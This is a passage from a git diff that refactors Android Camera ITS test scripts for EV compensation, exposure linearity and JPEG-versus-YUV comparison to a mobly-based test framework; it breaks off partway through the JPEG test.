+          'Max delta between modeled and measured lumas: %.4f', max_diff)
+      logging.debug(
+          'Avg delta between modeled and measured lumas: %.4f', avg_diff)
+      assert max_diff < LUMA_DELTA_THRESH, 'diff: %.3f, THRESH: %.2f' % (
+          max_diff, LUMA_DELTA_THRESH)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 61c89d8..5c892c1 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -11,96 +11,136 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies EV compensation is applied."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 import numpy as np
 
-NAME = os.path.basename(__file__).split('.')[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
 LOCKED = 3
 LUMA_LOCKED_TOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_UNSATURATED_EVS = 3
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num
 YUV_FULL_SCALE = 255.0
 YUV_SAT_MIN = 250.0
 YUV_SAT_TOL = 3.0
 
 
-def main():
-    """Tests that EV compensation is applied."""
+def create_request_with_ev(ev):
+  req = capture_request_utils.auto_capture_request()
+  req['android.control.aeExposureCompensation'] = ev
+  req['android.control.aeLock'] = True
+  return req
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.ev_compensation(props) and
-                             its.caps.ae_lock(props))
 
-        debug = its.caps.debug_mode()
-        mono_camera = its.caps.mono_camera(props)
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+def extract_luma_from_capture(cap):
+  """Extract luma from capture."""
+  y = image_processing_utils.convert_capture_to_planes(cap)[0]
+  patch = image_processing_utils.get_image_patch(
+      y, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  luma = image_processing_utils.compute_image_means(patch)[0]
+  return luma
 
-        ev_per_step = its.objects.rational_to_float(
-                props['android.control.aeCompensationStep'])
-        steps_per_ev = int(1.0 / ev_per_step)
-        evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
-        lumas = []
 
-        # Converge 3A, and lock AE once converged. skip AF trigger as
-        # dark/bright scene could make AF convergence fail and this test
-        # doesn't care the image sharpness.
-        cam.do_3a(ev_comp=0, lock_ae=True, do_af=False, mono_camera=mono_camera)
+class EvCompensationBasicTest(its_base_test.ItsBaseTest):
+  """Tests that EV compensation is applied."""
 
-        for ev in evs:
-            # Capture a single shot with the same EV comp and locked AE.
-            req = its.objects.auto_capture_request()
-            req['android.control.aeExposureCompensation'] = ev
-            req['android.control.aeLock'] = True
-            caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
-            luma_locked = []
-            for i, cap in enumerate(caps):
-                if cap['metadata']['android.control.aeState'] == LOCKED:
-                    y = its.image.convert_capture_to_planes(cap)[0]
-                    tile = its.image.get_image_patch(y, 0.45, 0.45, 0.1, 0.1)
-                    luma = its.image.compute_image_means(tile)[0]
-                    luma_locked.append(luma)
-                    if i == THRESH_CONVERGE_FOR_EV-1:
-                        lumas.append(luma)
-                        print 'lumas in AE locked captures: ', luma_locked
-                        msg = 'AE locked lumas: %s, RTOL: %.2f' % (
-                                str(luma_locked), LUMA_LOCKED_TOL)
-                        assert np.isclose(min(luma_locked), max(luma_locked),
-                                          rtol=LUMA_LOCKED_TOL), msg
-            assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata']['android.control.aeState'] == LOCKED
+  def test_ev_compensation_basic(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        pylab.plot(evs, lumas, '-ro')
-        pylab.title(NAME)
-        pylab.xlabel('EV Compensation')
-        pylab.ylabel('Mean Luma (Normalized)')
-        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ev_compensation(props) and
+          camera_properties_utils.ae_lock(props))
 
-        # Trim extra saturated images
-        while (lumas[-2] >= YUV_SAT_MIN/YUV_FULL_SCALE and
-               lumas[-1] >= YUV_SAT_MIN/YUV_FULL_SCALE and
-               len(lumas) > 2):
-            lumas.pop(-1)
-            print 'Removed saturated image.'
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # Only allow positive EVs to give saturated image
-        assert len(lumas) > 2, '3 or more unsaturated images needed'
-        min_luma_diffs = min(np.diff(lumas))
-        print 'Min of the luma value difference between adjacent ev comp: ',
-        print min_luma_diffs
-        # All luma brightness should be increasing with increasing ev comp.
-        assert min_luma_diffs > 0, 'Luma is not increasing!'
+      # Create ev compensation changes
+      ev_per_step = capture_request_utils.rational_to_float(
+          props['android.control.aeCompensationStep'])
+      steps_per_ev = int(1.0 / ev_per_step)
+      evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
+
+      # Converge 3A, and lock AE once converged. skip AF trigger as
+      # dark/bright scene could make AF convergence fail and this test
+      # doesn't care the image sharpness.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(ev_comp=0, lock_ae=True, do_af=False, mono_camera=mono_camera)
+
+      # Do captures and extract information
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      lumas = []
+      for ev in evs:
+        # Capture a single shot with the same EV comp and locked AE.
+        req = create_request_with_ev(ev)
+        caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
+        luma_locked = []
+        for i, cap in enumerate(caps):
+          if cap['metadata']['android.control.aeState'] == LOCKED:
+            luma = extract_luma_from_capture(cap)
+            luma_locked.append(luma)
+            if i == THRESH_CONVERGE_FOR_EV-1:
+              lumas.append(luma)
+              msg = 'AE locked lumas: %s, RTOL: %.2f' % (
+                  str(luma_locked), LUMA_LOCKED_TOL)
+              assert np.isclose(min(luma_locked), max(luma_locked),
+                                rtol=LUMA_LOCKED_TOL), msg
+      logging.debug('lumas in AE locked captures: %s', str(lumas))
+      assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
+          'android.control.aeState'] == LOCKED
+
+    # Create plot
+    pylab.figure(NAME)
+    pylab.plot(evs, lumas, '-ro')
+    pylab.title(NAME)
+    pylab.xlabel('EV Compensation')
+    pylab.ylabel('Mean Luma (Normalized)')
+    matplotlib.pyplot.savefig(
+        '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+    # Trim extra saturated images
+    while (lumas[-2] >= YUV_SAT_MIN/YUV_FULL_SCALE and
+           lumas[-1] >= YUV_SAT_MIN/YUV_FULL_SCALE and
+           len(lumas) > 2):
+      lumas.pop(-1)
+      logging.debug('Removed saturated image.')
+
+    # Only allow positive EVs to give saturated image
+    e_msg = '>%d unsaturated images needed.' % (NUM_UNSATURATED_EVS-1)
+    assert len(lumas) >= NUM_UNSATURATED_EVS, e_msg
+    min_luma_diffs = min(np.diff(lumas))
+    logging.debug('Min of luma value difference between adjacent ev comp: %.3f',
+                  min_luma_diffs)
+
+    # Assert unsaturated lumas increasing with increasing ev comp.
+    assert min_luma_diffs > 0, 'Luma is not increasing! lumas %s' % str(lumas)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_exposure.py b/apps/CameraITS/tests/scene1_1/test_exposure.py
index bf52d6f..4fd34ca 100644
--- a/apps/CameraITS/tests/scene1_1/test_exposure.py
+++ b/apps/CameraITS/tests/scene1_1/test_exposure.py
@@ -11,83 +11,150 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies correct exposure control."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
 import matplotlib
 from matplotlib import pylab
-import numpy
 
-IMG_STATS_GRID = 9  # find used to find the center 11.11%
-NAME = os.path.basename(__file__).split('.')[0]
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_PTS_2X_GAIN = 3  # 3 points every 2x increase in gain
-THRESHOLD_MAX_OUTLIER_DIFF = 0.1
-THRESHOLD_MIN_LEVEL = 0.1
-THRESHOLD_MAX_LEVEL = 0.9
-THRESHOLD_MAX_LEVEL_DIFF = 0.045
-THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
+PATCH_H = 0.1  # center 10% patch params
+PATCH_W = 0.1
+PATCH_X = 0.45
+PATCH_Y = 0.45
+RAW_STATS_GRID = 9  # define 9x9 (11.11%) spacing grid for rawStats processing
+RAW_STATS_XY = RAW_STATS_GRID//2  # define X, Y location for center rawStats
+THRESH_MIN_LEVEL = 0.1
+THRESH_MAX_LEVEL = 0.9
+THRESH_MAX_LEVEL_DIFF = 0.045
+THRESH_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
+THRESH_MAX_OUTLIER_DIFF = 0.1
 THRESH_ROUND_DOWN_GAIN = 0.1
 THRESH_ROUND_DOWN_EXP = 0.03
-THRESH_ROUND_DOWN_EXP0 = 1.00  # tol at 0ms exp; theoretical limit @ 4-line exp
+THRESH_ROUND_DOWN_EXP0 = 1.00  # TOL at 0ms exp; theoretical limit @ 4-line exp
 THRESH_EXP_KNEE = 6E6  # exposures less than knee have relaxed tol
+WIDE_EXP_RANGE_THRESH = 64.0  # threshold for 'wide' range sensor
 
 
-def find_fit_and_check(chan, mults, values, thresh_max_level_diff):
-    """Find line fit and check values.
+def plot_rgb_means(title, x, r, g, b, log_path):
+  """Plot the RGB mean data.
 
-    Check for linearity. Verify sample pixel mean values are close to each
-    other. Also ensure that the images aren't clamped to 0 or 1
-    (which would make them look like flat lines).
+  Args:
+    title: string for figure title
+    x: x values for plot, gain multiplier
+    r: r plane means
+    g: g plane means
+    b: b plane menas
+    log_path: path for saved files
+  """
+  pylab.figure(title)
+  pylab.semilogx(x, r, 'ro-')
+  pylab.semilogx(x, g, 'go-')
+  pylab.semilogx(x, b, 'bo-')
+  pylab.title(NAME + title)
+  pylab.xlabel('Gain Multiplier')
+  pylab.ylabel('Normalized RGB Plane Avg')
+  pylab.minorticks_off()
+  pylab.xticks(x[0::NUM_PTS_2X_GAIN], x[0::NUM_PTS_2X_GAIN])
+  pylab.ylim([0, 1])
+  plot_name = '%s_plot_means.png' % os.path.join(log_path, NAME)
+  matplotlib.pyplot.savefig(plot_name)
 
-    Args:
-        chan:                   [0:2] RGB channel
-        mults:                  list of multiplication values for gain*m, exp/m
-        values:                 mean values for chan
-        thresh_max_level_diff:  threshold for max difference
-    """
 
-    m, b = numpy.polyfit(mults, values, 1).tolist()
-    max_val = max(values)
-    min_val = min(values)
-    max_diff = max_val - min_val
-    print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan, m, b)
-    print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
-    e_msg = 'max_diff: %.4f, THRESH: %.3f' % (
-            max_diff, thresh_max_level_diff)
-    assert max_diff < thresh_max_level_diff, e_msg
-    e_msg = 'b: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
-            b, THRESHOLD_MIN_LEVEL, THRESHOLD_MAX_LEVEL)
-    assert THRESHOLD_MAX_LEVEL > b > THRESHOLD_MIN_LEVEL, e_msg
-    for v in values:
-        e_msg = 'v: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
-                v, THRESHOLD_MIN_LEVEL, THRESHOLD_MAX_LEVEL)
-        assert THRESHOLD_MAX_LEVEL > v > THRESHOLD_MIN_LEVEL, e_msg
-        e_msg = 'v: %.2f, b: %.2f, THRESH_MAX_OUTLIER_DIFF: %.1f' % (
-                v, b, THRESHOLD_MAX_OUTLIER_DIFF)
-        assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF, e_msg
+def plot_raw_means(title, x, r, gr, gb, b, log_path):
+  """Plot the RAW mean data.
+
+  Args:
+    title: string for figure title
+    x: x values for plot, gain multiplier
+    r: R plane means
+    gr: Gr plane means
+    gb: Gb plane means
+    b: B plane menas
+    log_path: path for saved files
+  """
+  pylab.figure(title)
+  pylab.semilogx(x, r, 'ro-', label='R')
+  pylab.semilogx(x, gr, 'go-', label='Gr')
+  pylab.semilogx(x, gb, 'bo-', label='Gb')
+  pylab.semilogx(x, b, 'bo-', label='B')
+  pylab.title(NAME + title)
+  pylab.xlabel('Gain Multiplier')
+  pylab.ylabel('Normalized RAW Plane Avg')
+  pylab.minorticks_off()
+  pylab.xticks(x[0::NUM_PTS_2X_GAIN], x[0::NUM_PTS_2X_GAIN])
+  pylab.ylim([0, 1])
+  pylab.legend(numpoints=1)
+  plot_name = '%s_plot_raw_means.png' % os.path.join(log_path, NAME)
+  matplotlib.pyplot.savefig(plot_name)
+
+
+def check_line_fit(chan, mults, values, thresh_max_level_diff):
+  """Find line fit and check values.
+
+  Check for linearity. Verify sample pixel mean values are close to each
+  other. Also ensure that the images aren't clamped to 0 or 1
+  (which would also make them look like flat lines).
+
+  Args:
+    chan: integer number to define RGB or RAW channel
+    mults: list of multiplication values for gain*m, exp/m
+    values: mean values for chan
+    thresh_max_level_diff: threshold for max difference
+  """
+
+  m, b = np.polyfit(mults, values, 1).tolist()
+  min_val = min(values)
+  max_val = max(values)
+  max_diff = max_val - min_val
+  logging.debug('Channel %d line fit (y = mx+b): m = %f, b = %f', chan, m, b)
+  logging.debug('Channel min %f max %f diff %f', min_val, max_val, max_diff)
+  e_msg = 'max_diff: %.4f, THRESH: %.3f' % (max_diff, thresh_max_level_diff)
+  assert max_diff < thresh_max_level_diff, e_msg
+  e_msg = 'b: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+      b, THRESH_MIN_LEVEL, THRESH_MAX_LEVEL)
+  assert THRESH_MAX_LEVEL > b > THRESH_MIN_LEVEL, e_msg
+  for v in values:
+    e_msg = 'v: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+        v, THRESH_MIN_LEVEL, THRESH_MAX_LEVEL)
+    assert THRESH_MAX_LEVEL > v > THRESH_MIN_LEVEL, e_msg
+    e_msg = 'v: %.2f, b: %.2f, THRESH_MAX_OUTLIER_DIFF: %.1f' % (
+        v, b, THRESH_MAX_OUTLIER_DIFF)
+    assert abs(v - b) < THRESH_MAX_OUTLIER_DIFF, e_msg
 
 
 def get_raw_active_array_size(props):
-    """Return the active array w, h from props."""
-    aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
-           props['android.sensor.info.preCorrectionActiveArraySize']['left'])
-    aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
-           props['android.sensor.info.preCorrectionActiveArraySize']['top'])
-    return aaw, aah
+  """Return the active array w, h from props."""
+  aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
+         props['android.sensor.info.preCorrectionActiveArraySize']['left'])
+  aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
+         props['android.sensor.info.preCorrectionActiveArraySize']['top'])
+  return aaw, aah
 
 
-def main():
-    """Test that a constant exposure is seen as ISO and exposure time vary.
+class ExposureTest(its_base_test.ItsBaseTest):
+  """Test that a constant exposure is seen as ISO and exposure time vary.
 
-    Take a series of shots that have ISO and exposure time chosen to balance
-    each other; result should be the same brightness, but over the sequence
-    the images should get noisier.
-    """
+  Take a series of shots that have ISO and exposure time chosen to balance
+  each other; result should be the same brightness, but over the sequence
+  the images should get noisier.
+  """
+
+  def test_exposure(self):
     mults = []
     r_means = []
     g_means = []
@@ -96,125 +163,113 @@
     raw_gr_means = []
     raw_gb_means = []
     raw_b_means = []
-    threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF
+    thresh_max_level_diff = THRESH_MAX_LEVEL_DIFF
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.compute_target_exposure(props))
-        sync_latency = its.caps.sync_latency(props)
-        process_raw = its.caps.raw16(props) and its.caps.manual_sensor(props)
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize params for requests
+      debug = self.debug_mode
+      raw_avlb = (camera_properties_utils.raw16(props) and
+                  camera_properties_utils.manual_sensor(props))
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['minSensitivity']
+      s_e_product = s*e
+      expt_range = props['android.sensor.info.exposureTimeRange']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      m = 1.0
+
+      # Do captures with a range of exposures, but constant s*e
+      while s*m < sens_range[1] and e/m > expt_range[0]:
+        mults.append(m)
+        s_test = round(s * m)
+        e_test = s_e_product // s_test
+        logging.debug('Testing s: %d, e: %dns', s_test, e_test)
+        req = capture_request_utils.manual_capture_request(
+            s_test, e_test, 0.0, True, props)
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        s_res = cap['metadata']['android.sensor.sensitivity']
+        e_res = cap['metadata']['android.sensor.exposureTime']
+        # determine exposure tolerance based on exposure time
+        if e_test >= THRESH_EXP_KNEE:
+          thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
         else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+          thresh_round_down_exp = (
+              THRESH_ROUND_DOWN_EXP +
+              (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
+              (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
+        s_msg = 's_write: %d, s_read: %d, TOL=%.f%%' % (
+            s_test, s_res, THRESH_ROUND_DOWN_GAIN*100)
+        assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
+        e_msg = 'e_write: %.3fms, e_read: %.3fms, TOL=%.f%%' % (
+            e_test/1.0E6, e_res/1.0E6, thresh_round_down_exp*100)
+        assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
+        s_e_product_res = s_res * e_res
+        req_res_ratio = s_e_product / s_e_product_res
+        logging.debug('Capture result s: %d, e: %dns', s_res, e_res)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(
+            img, '%s_mult=%3.2f.jpg' % (os.path.join(self.log_path, NAME), m))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        # Adjust for the difference between request and result
+        r_means.append(rgb_means[0] * req_res_ratio)
+        g_means.append(rgb_means[1] * req_res_ratio)
+        b_means.append(rgb_means[2] * req_res_ratio)
 
-        e, s = its.target.get_target_exposure_combos(cam)['minSensitivity']
-        s_e_product = s*e
-        expt_range = props['android.sensor.info.exposureTimeRange']
-        sens_range = props['android.sensor.info.sensitivityRange']
+        # Do with RAW_STATS space if debug
+        if raw_avlb and debug:
+          aaw, aah = get_raw_active_array_size(props)
+          fmt_raw = {'format': 'rawStats',
+                     'gridWidth': aaw//RAW_STATS_GRID,
+                     'gridHeight': aah//RAW_STATS_GRID}
+          raw_cap = its_session_utils.do_capture_with_latency(
+              cam, req, sync_latency, fmt_raw)
+          r, gr, gb, b = image_processing_utils.convert_capture_to_planes(
+              raw_cap, props)
+          raw_r_means.append(r[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
+          raw_gr_means.append(gr[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
+          raw_gb_means.append(gb[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
+          raw_b_means.append(b[RAW_STATS_XY, RAW_STATS_XY] * req_res_ratio)
 
-        m = 1.0
-        while s*m < sens_range[1] and e/m > expt_range[0]:
-            mults.append(m)
-            s_test = round(s*m)
-            e_test = s_e_product / s_test
-            print 'Testing s:', s_test, 'e:', e_test
-            req = its.objects.manual_capture_request(
-                    s_test, e_test, 0.0, True, props)
-            cap = its.device.do_capture_with_latency(
-                    cam, req, sync_latency, fmt)
-            s_res = cap['metadata']['android.sensor.sensitivity']
-            e_res = cap['metadata']['android.sensor.exposureTime']
-            # determine exposure tolerance based on exposure time
-            if e_test >= THRESH_EXP_KNEE:
-                thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
-            else:
-                thresh_round_down_exp = (
-                        THRESH_ROUND_DOWN_EXP +
-                        (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
-                        (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
-            s_msg = 's_write: %d, s_read: %d, TOL=%.f%%' % (
-                    s_test, s_res, THRESH_ROUND_DOWN_GAIN*100)
-            e_msg = 'e_write: %.3fms, e_read: %.3fms, TOL=%.f%%' % (
-                    e_test/1.0E6, e_res/1.0E6, thresh_round_down_exp*100)
-            assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
-            assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
-            s_e_product_res = s_res * e_res
-            request_result_ratio = float(s_e_product) / s_e_product_res
-            print 'Capture result s:', s_res, 'e:', e_res
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means = its.image.compute_image_means(tile)
-            # Adjust for the difference between request and result
-            r_means.append(rgb_means[0] * request_result_ratio)
-            g_means.append(rgb_means[1] * request_result_ratio)
-            b_means.append(rgb_means[2] * request_result_ratio)
-            # do same in RAW space if possible
-            if process_raw and debug:
-                aaw, aah = get_raw_active_array_size(props)
-                fmt_raw = {'format': 'rawStats',
-                           'gridWidth': aaw/IMG_STATS_GRID,
-                           'gridHeight': aah/IMG_STATS_GRID}
-                raw_cap = its.device.do_capture_with_latency(
-                        cam, req, sync_latency, fmt_raw)
-                r, gr, gb, b = its.image.convert_capture_to_planes(
-                        raw_cap, props)
-                raw_r_means.append(r[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                   * request_result_ratio)
-                raw_gr_means.append(gr[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                    * request_result_ratio)
-                raw_gb_means.append(gb[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                    * request_result_ratio)
-                raw_b_means.append(b[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                   * request_result_ratio)
-            # Test 3 steps per 2x gain
-            m *= pow(2, 1.0 / NUM_PTS_2X_GAIN)
+          # Test number of points per 2x gain
+        m *= pow(2, 1.0/NUM_PTS_2X_GAIN)
 
-        # Allow more threshold for devices with wider exposure range
-        if m >= 64.0:
-            threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE
+      # Loosen threshold for devices with wider exposure range
+      if m >= WIDE_EXP_RANGE_THRESH:
+        thresh_max_level_diff = THRESH_MAX_LEVEL_DIFF_WIDE_RANGE
 
-    # Draw plots
-    pylab.figure('rgb data')
-    pylab.semilogx(mults, r_means, 'ro-')
-    pylab.semilogx(mults, g_means, 'go-')
-    pylab.semilogx(mults, b_means, 'bo-')
-    pylab.title(NAME + 'RGB Data')
-    pylab.xlabel('Gain Multiplier')
-    pylab.ylabel('Normalized RGB Plane Avg')
-    pylab.minorticks_off()
-    pylab.xticks(mults[0::NUM_PTS_2X_GAIN], mults[0::NUM_PTS_2X_GAIN])
-    pylab.ylim([0, 1])
-    matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+    # Draw plots and check data
+    plot_rgb_means('RGB data', mults, r_means, g_means, b_means, self.log_path)
+    for ch, _ in enumerate(['r', 'g', 'b']):
+      values = [r_means, g_means, b_means][ch]
+      check_line_fit(ch, mults, values, thresh_max_level_diff)
 
-    if process_raw and debug:
-        pylab.figure('raw data')
-        pylab.semilogx(mults, raw_r_means, 'ro-', label='R')
-        pylab.semilogx(mults, raw_gr_means, 'go-', label='GR')
-        pylab.semilogx(mults, raw_gb_means, 'ko-', label='GB')
-        pylab.semilogx(mults, raw_b_means, 'bo-', label='B')
-        pylab.title(NAME + 'RAW Data')
-        pylab.xlabel('Gain Multiplier')
-        pylab.ylabel('Normalized RAW Plane Avg')
-        pylab.minorticks_off()
-        pylab.xticks(mults[0::NUM_PTS_2X_GAIN], mults[0::NUM_PTS_2X_GAIN])
-        pylab.ylim([0, 1])
-        pylab.legend(numpoints=1)
-        matplotlib.pyplot.savefig('%s_plot_raw_means.png' % (NAME))
-
-    for chan in xrange(3):
-        values = [r_means, g_means, b_means][chan]
-        find_fit_and_check(chan, mults, values, threshold_max_level_diff)
-    if process_raw and debug:
-        for chan in xrange(4):
-            values = [raw_r_means, raw_gr_means, raw_gb_means,
-                      raw_b_means][chan]
-            find_fit_and_check(chan, mults, values, threshold_max_level_diff)
+    if raw_avlb and debug:
+      plot_raw_means('RAW data', mults, raw_r_means, raw_gr_means, raw_gb_means,
+                     raw_b_means, self.log_path)
+      for ch, _ in enumerate(['r', 'gr', 'gb', 'b']):
+        values = [raw_r_means, raw_gr_means, raw_gb_means, raw_b_means][ch]
+        check_line_fit(ch, mults, values, thresh_max_level_diff)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_jpeg.py b/apps/CameraITS/tests/scene1_1/test_jpeg.py
index 3abeef5..2c11d29 100644
--- a/apps/CameraITS/tests/scene1_1/test_jpeg.py
+++ b/apps/CameraITS/tests/scene1_1/test_jpeg.py
@@ -11,59 +11,99 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies converted YUV images & device JPEG images look the same."""
 
-import math
+
+import logging
 import os.path
+from mobly import test_runner
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
 
-NAME = os.path.basename(__file__).split(".")[0]
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 THRESHOLD_MAX_RMS_DIFF = 0.01
 
 
-def main():
-    """Test that converted YUV images and device JPEG images look the same.
-    """
+def compute_img_means_and_save(img, img_name, log_path):
+  """Extract center patch, compute means, and save image.
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props))
-        sync_latency = its.caps.sync_latency(props)
+  Args:
+    img: image array
+    img_name: text to identify image
+    log_path: location to save image
 
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+  Returns:
+    means of image patch
+  """
+  image_processing_utils.write_image(
+      img, '%s_fmt=%s.jpg' % (os.path.join(log_path, NAME), img_name))
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  rgb_means = image_processing_utils.compute_image_means(patch)
+  logging.debug('%s rgb_means: %s', img_name, str(rgb_means))
+  return rgb_means
 
-        # YUV
-        size = its.objects.get_available_output_sizes("yuv", props)[0]
-        out_surface = {"width": size[0], "height": size[1], "format": "yuv"}
-        cap = its.device.do_capture_with_latency(
-                cam, req, sync_latency, out_surface)
-        img = its.image.convert_capture_to_rgb_image(cap)
-        its.image.write_image(img, "%s_fmt=yuv.jpg" % (NAME))
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb0 = its.image.compute_image_means(tile)
 
-        # JPEG
-        size = its.objects.get_available_output_sizes("jpg", props)[0]
